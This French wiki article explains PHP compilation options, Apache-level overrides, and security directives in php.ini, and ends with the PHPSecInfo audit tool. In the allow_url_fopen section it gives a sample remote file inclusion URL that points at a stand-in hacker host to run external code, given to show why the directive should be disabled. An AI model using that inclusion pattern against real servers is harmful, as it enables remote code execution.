PHP : Installation et configuration

From Deimos.fr / Bloc Notes Informatique
Jump to: navigation, search

1 Introduction

Même si PHP fonctionne très bien avec sa configuration initiale, il est parfois essentiel de modifier certains paramètres, et ce, notamment pour des raisons de sécurité. Cet article montre comment adapter la configuration de PHP à l’environnement de vos applications.

Il n’est pas très difficile d’installer PHP sur un serveur et d’obtenir un système opérationnel. En général, on se contente d’ailleurs de cela: installer PHP. Mais est-ce suffisant ? N’avez-vous jamais eu besoin d’installer une extension, de modifier la taille maximale de la mémoire allouée à PHP ?... De plus, une partie critique de la sécurisation de vos applications s’effectue à ce niveau. Dans cet article, nous verrons en détail les différentes options de configuration de PHP et comment les modifier. Certaines options doivent être activées à la compilation de PHP, d’autres peuvent être modifiées dans Apache, et, enfin, pour la plupart d’entre elles, c’est dans le(s) fichier(s) php.ini qu’il faudra effectuer les modifications. Pour conclure, je vous présenterai PHPSecInfo, un petit utilitaire qui analyse pour vous les options de sécurité que vous avez choisi d’appliquer à PHP.

2 Installation

La première des configurations possibles se situe au moment de la compilation: elle permet de modifier certains paramètres et d’ajouter des extensions à PHP. J’entends "première" dans le sens d’ordre chronologique lors de l’installation de PHP et non dans le sens de "principale" (voir la section sur les fichiers php.ini en section 3).

Pour compiler PHP, il vous faut récupérer les sources de PHP sur http://www.php.net/downloads et les décompresser dans un répertoire que nous nommerons php-sources/. La compilation de PHP est ensuite très simple et se déroule en deux étapes:

  • La phase de configuration permettant de sélectionner les options à activer et les extensions à installer. Cela se fait à l’aide de la commande ./configure (pour une liste des options disponibles sur votre système: ./configure -help – pour une liste complète). L’installation des extensions se fait à l’aide de l’option --with-extension où extension est le nom d’une extension autorisée (gd, mysql, pdo, etc.). Ainsi pour installer l’extension gd (bibliothèque graphique), on effectuera :
Command configure
./configure –with-gd

  • Ensuite, la phase de compilation proprement dite qui s’effectue à l’aide de la commande :
Command make
make all install

Notons toutefois que l’installation des extensions disponibles par cette méthode se fait de manière beaucoup plus simple sur les systèmes basés sur Debian en utilisant le système apt (apt-cache search php5 pour afficher les bibliothèques disponibles). Ainsi, toujours pour installer la bibliothèque gd, on effectuera cette fois :

Command apt-get
apt-get install php5-gd

Ce qui nous dispensera de la phase de compilation...

D’autres extensions sont disponibles à travers le système PECL, mais nous sortirions du cadre de cet article. Revenons maintenant aux paramètres modifiables à l’aide de la commande ./configure. Je ne vous en présenterai que quelques-uns dans le tableau suivant, la liste complète et détaillée étant disponible sur le manuel de PHP.

Php1.jpg

L’activation de ces options se fera à l’aide d’une commande du type:

Command configure
./configure --disable-short-tags

suivie de:

Command make
make all install

Penchons-nous maintenant sur un autre aspect de la configuration: Apache.

3 Configuration depuis Apache

Il est parfois intéressant de modifier le comportement de PHP seulement pour quelques projets hébergés dans des répertoires bien définis.

Si vous avez compilé PHP en tant que module Apache (voir section1), vous pouvez utiliser le fichier de configuration d’Apache (en général fichier /etc/apache2/apache2.conf) et les fichiers .htaccess (à condition que la directive AllowOverride du répertoire contenant le fichier ait été positionnée à la valeur Options ou All) pour modifier la configuration de PHP.

Il existe de nombreuses directives Apache qui vous permettent de modifier la configuration de PHP à partir des fichiers de configuration Apache. La liste complète de ces directives est donnée dans le manuel de PHP[4]. Notez toutefois qu’un type a été attribué à chaque directive. Ce type permet de définir des droits de modifications pour savoir à partir de quel fichier on a le droit de le modifier. Il y a 4 types possibles:

  • PHP_INI_SYSTEM: les entrées peuvent être définies dans le fichier php.ini ou le fichier apache2.conf;
  • PHP_INI_PERDIR: les entrées peuvent être définies dans le fichier php.ini, un fichier .htaccess ou le fichier apache2.conf;
  • PHP_INI_USER: les entrées peuvent être définies dans les scripts utilisateurs;
  • PHP_INI_ALL: les entrées peuvent être définies n’importe où.

Il faudra donc faire très attention au type de chaque directive pour savoir dans quel fichier la modification est autorisée.

Pour pouvoir modifier la valeur d’une directive, on utilisera suivant les cas:

  1. Pour les directives de type PHP_INI_ALL (inclut notamment PHP_INI_USER) et PHP_INI_PERDIR:
  • php_flag nom valeur

Cette instruction modifie la valeur de la directive nom en lui assignant une valeur dont le type est booléen et vaut soit on, soit off. Par exemple, pour la directive assert_warning (type PHP_INI_ALL) qui met une alerte PHP pour chaque assertion échouée, la modification se fait par:

php_flag assert_warning off
  • php_value nom valeur

Cette instruction modifie la valeur de la directive nom en lui assignant une valeur. Par exemple, pour la directive include_path (type PHP_INI_ALL) qui permet de donner une liste de répertoires où les fonctions require(), include(), fopen(), file(), readfile() et file_get_contents() chercheront les fichiers, la modification se fait par:

php_value include_path “.:/usr/lib/php”
  1. Pour les directives de type PHP_INI_SYSTEM ou pour les directives dont l’administrateur ne veut pas que l’utilisateur puisse surcharger les valeurs dans un fichier .htaccess:
  • php_admin_flag nom valeur

Cette instruction a le même comportement que l’instruction php_flag vue précédemment. Elle ne peut être utilisée que dans le fichier apache2.conf par l’administrateur.

  • php_admin_value nom valeur

Là encore, cette instruction se comporte comme php_value et ne peut être utilisée que dans le fichier apache2.conf par l’administrateur.

Notez bien que les constantes PHP ne sont bien sûr pas accessibles dans le fichier de configuration d’Apache. Ainsi, pour modifier la directive de rapport d’erreurs error_reporting, vous ne pourrez pas utiliser les constantes de la famille E_STRICT, mais la valeur qui leur est associée.

Pour finir avec cette partie de configuration à partir d’Apache, je vous propose un petit exemple: nous possédons un petit site hébergé sur /var/www/site. L’administrateur souhaite fixer le nom du répertoire temporaire utilisé pour stocker les fichiers lors du chargement (directive upload_tmp_dir), puis un utilisateur du site souhaite pouvoir envoyer des fichiers plus volumineux qu’en temps normal dans sa partie administration (répertoire user/).

Pour l’administrateur, la modification portera sur le fichier apache2.conf:

Configuration File /etc/apache2/apache2.conf
<Directory /web/site1/online/>
    AllowOverride All
    php_admin_value upload_tmp_dir "/var/www/site/tmp"
</Directory>

Pour l’utilisateur, la modification se fera dans /var/www/site/user/.htaccess:

Configuration File /var/www/site/user/.htaccess
 php_value upload_max_filesize 2M

Intéressons-nous maintenant au cas de configuration le plus classique, celui des fichiers php.ini.

4 Configuration dans les fichiers php.ini

Parler "du" fichier php.ini est un abus de langage: il n’y a pas un, mais des fichiers de configuration php.ini. En effet, lorsque vous installez PHP en tant que serveur, il faudra modifier le fichier de configuration associé à Apache: /etc/php5/apache2/php.ini (sur une distribution basée sur Debian). Or, PHP peut également être utilisé en ligne de commande; on parle alors de PHP-CLI (pour Command Line Interface). Ce mode spécifique, utilisé entre autres par PEAR et PECL, possède son propre fichier de configuration: /etc/php5/cli/php.ini. Faites donc très attention, car bien qu’identiques au départ, toute modification de configuration sur l’un des systèmes n’impactera pas le second! De plus, si toute modification du fichier php.ini lié à PHP-CLI est effective immédiatement, pour activer les modifications appliquées au fichier php.ini lié à Apache, il faudra penser à redémarrer le serveur (/etc/init.d/apache2 restart).

Cette mise au point effectuée, je vous propose d’analyser la structure d’un fichier php.ini et de disséquer quelques directives ayant trait à la sécurité pour savoir à quoi elles servent et quelles sont leurs valeurs possibles et éventuellement souhaitables en fonction du contexte.

4.1 Structure du fichier php.ini

Le fichier php.ini est un fichier texte divisé en plusieurs sections. Chacune des sections est identifiée par un nom et contient des variables relatives à ladite section. Chaque section possède la structure suivante:

Configuration File /etc/php5/php.ini
[NomDeSection]
variable  ="valeur"
...
variable_n="valeur_n"

Le nom de la section est indiqué entre crochets, suivi d’un certain nombre de déclarations de variables – encore appelées directives – sous forme de paires constituées du nom de la variable (sensible à la casse) et de la valeur qui lui est associée (numérique, booléenne ou chaîne de caractères). Notez que chaque déclaration de variable se fait sur une nouvelle ligne.

Enfin, le caractère ";" signale un commentaire. Ainsi, il est facile de désactiver une fonctionnalité PHP en mettant en commentaire la ligne qui lui est associée (et réciproquement de la réactiver en la dé-commentant).

Voyons maintenant quelles sont les fonctionnalités que l’on va pouvoir modifier.

4.2 Les directives du fichier php.ini

Nous aborderons ici les directives liées à la sécurité de PHP (pour une liste complète des directives, reportez-vous comme toujours au manuel PHP). Lorsque l’on s’intéresse à la sécurité de PHP, il faut garder à l’esprit qu’il existe essentiellement deux contextes dans lesquels un serveur peut être utilisé?: le développement et la production. Ainsi, il est, par exemple, recommandé de désactiver l’affichage des erreurs sur un serveur en production... mais, il est nettement plus pratique de conserver cet affichage en développement?! Voici donc une liste (non restrictive) de directives auxquelles il faudra prêter attention.

4.2.1 Gestion de l’en-tête du serveur

  • expose_php?:

Cette directive indique à PHP d’ajouter son numéro de version à l’en-tête standard du serveur web. Il est recommandé de désactiver cette directive en production (valeur Off)?: les informations données peuvent servir à d’éventuels pirates si vous ne mettez pas régulièrement à jour votre serveur.

4.2.2 Gestion des erreurs

  • display_errors?:

Cette directive autorise l’affichage des erreurs PHP?: en production, elle doit être positionnée sur Off (sous peine de fournir de précieuses informations à un éventuel pirate comme le nom de vos tables, etc.) et, bien sûr, en développement, il faudra lui associer la valeur On.

  • error_reporting?:

Indique les types des erreurs que PHP devra reporter. Lorsque l’on choisit de les afficher, il est recommandé d’afficher un maximum de messages d’erreurs. Les valeurs recommandées pour PHP5 sont E_ALL | E_STRICT et E_ALL pour PHP4.

  • log_errors?:

Indique à PHP de conserver une liste des erreurs rencontrées dans un fichier de log. Il est utile d’activer cette directive même en production pour un suivi des erreurs sans affichage direct.

  • error_log?:

Si la directive log_errors a été positionnée à On, la directive error_log permet de spécifier le nom et le chemin du fichier de log que vous désirez utiliser. Sinon le fichier par défaut sera le fichier error.log de votre Apache (/var/log/apache2/error.inc sur les distributions basées sur Debian).

  • html_errors?:

Active ou désactive les balises HTML dans les messages d’erreurs?: si vous avez choisi de ne pas afficher les erreurs (display_errors à Off), cette directive est inutile. Par contre, en développement, en renseignant les directives docref_root et docref_ext, vous pourrez avoir directement des liens vers la documentation de la fonction ayant provoqué l’erreur.

  • docref_root?:

Cette directive définit le chemin vers le manuel PHP. En général, il s’agira de?:

docref_root?=?http://fr.php.net/manual/fr/.
  • docref_ext?:

Définit l’extension des fichiers du manuel. Là encore, il s’agira en général de fichiers HTML?: docref_ext?=?.html.

4.2.3 Gestion des accès aux fichiers

  • allow_url_fopen?:

Cette directive autorise l’exécution de fichiers distants passés en paramètre d’une URL. Il est recommandé de la désactiver (valeur Off)?: un pirate pourrait faire exécuter un code externe. Si vous disposez d’une page index.php qui attend un paramètre load, un pirate pourrait exécuter?:

index.php?load=http://www.the-hacker.com/script_pirate.txt
  • open_basedir?:

Cette directive limite les fichiers accessibles par PHP dans l’arborescence. Le paramètre passé à open_basedir est considéré comme un préfixe?: si vous spécifiez open_basedir?=?/include/mon_rep, vous donnerez accès à /include/mon_rep, /include/mon_repertoire,... Pour déterminer un répertoire spécifique, il faudra terminer le nom du chemin par un "?/?".

4.2.4 Gestion des fonctions et classes accessibles

  • disable_functions et disable_classes?:

Ces directives permettent d’interdire respectivement une liste de fonctions et une liste de classes "?dangereuses?". Pour interdire par exemple l’utilisation des fonctions phpinfo() et system(), il faudra spécifier?: disable_functions?=?phpinfo, system.

4.2.5 Gestion des limites de mémoire et de temps

  • memory_limit?:

Cette directive détermine la mémoire limite, en octets, qu’un script est autorisé à allouer. Depuis PHP 5.2.0, la valeur par défaut est fixée à 16M. Il s’agit d’une valeur raisonnable (on préconisait auparavant une valeur de 8M).

  • post_max_size?:

Définit la taille maximale des données (en octets) reçues par la méthode POST (la directive memory_limit doit avoir une valeur supérieure à celle-ci, sinon post_max_size sera limité à la valeur de memory_limit). La valeur par défaut est de 8M. Il est peu probable que vous ayez besoin de plus de mémoire (vous pouvez même éventuellement descendre un peu cette valeur). Toutefois, lors de l’upload de fichiers, les données transitent via une méthode POST?: assurez-vous alors que cette valeur est supérieure à celle de la directive upload_max_filesize.

  • max_execution_time?:

Temps maximal d’exécution des scripts en secondes. Par défaut, la valeur est de 30s, mais n’oubliez pas qu’il est rare qu’un utilisateur patiente autant de temps... Cette directive permet surtout de sortir de boucles infinies en phase de développement. Un bon compromis semble être 15s.

4.2.6 Modifier les directives depuis PHP

Il est également possible de modifier des directives du fichier php.ini de manière ponctuelle directement dans des scripts PHP. On utilise alors la fonction ini_set() [5]. Cette fonction admet deux paramètres?: le nom de la directive à modifier et la nouvelle valeur à lui affecter. Par exemple, pour désactiver l’affichage des erreurs?:

ini_set(‘display_errors’, ‘Off’);

5 Audit de sécurité avec PHPSecInfo

Pour contrôler les points de sécurité les plus classiques, il existe un outil, PHPSecInfo [6], qui examinera les valeurs que vous avez affectées aux diverses directives du fichier php.ini. Il ne s’agit bien sûr que d’une vérification des points les plus courants, mais, après avoir décompressé le fichier que vous trouverez sur http://phpsec.org/projects/phpsecinfo/phpsecinfo.zip, vous obtiendrez un rapport similaire à celui de la figure?1 indiquant les points faibles de votre configuration pour chaque directive. Les résultats sont exprimés en fonction d’un code couleur?:

  • vert?: tout va bien?;
  • jaune?: mauvaise valeur de configuration possible?;
  • rouge?: mauvaise valeur de configuration (changement de valeur recommandé).

Php2.jpg

Si vous avez besoin de plus d’informations sur un message d’avertissement, un lien pointant sur le site http://phpsec.org/ est à votre disposition pour chaque directive (voir Figure?2).

Php3.jpg

6 Conclusion

Nous avons pu voir dans cet article les différentes manières de configurer PHP. Ce langage s’appuyant sur un serveur web, il est essentiel de veiller à ce que les directives ayant trait à la sécurité soient correctement paramétrées pour minimiser le risque d’intrusion dans vos programmes. L’application PHPSecInfo peut vous aider dans cette démarche. Mais surtout, n’hésitez pas à aller "?farfouiller?" dans la documentation de PHP... c’est une mine d’informations inépuisable.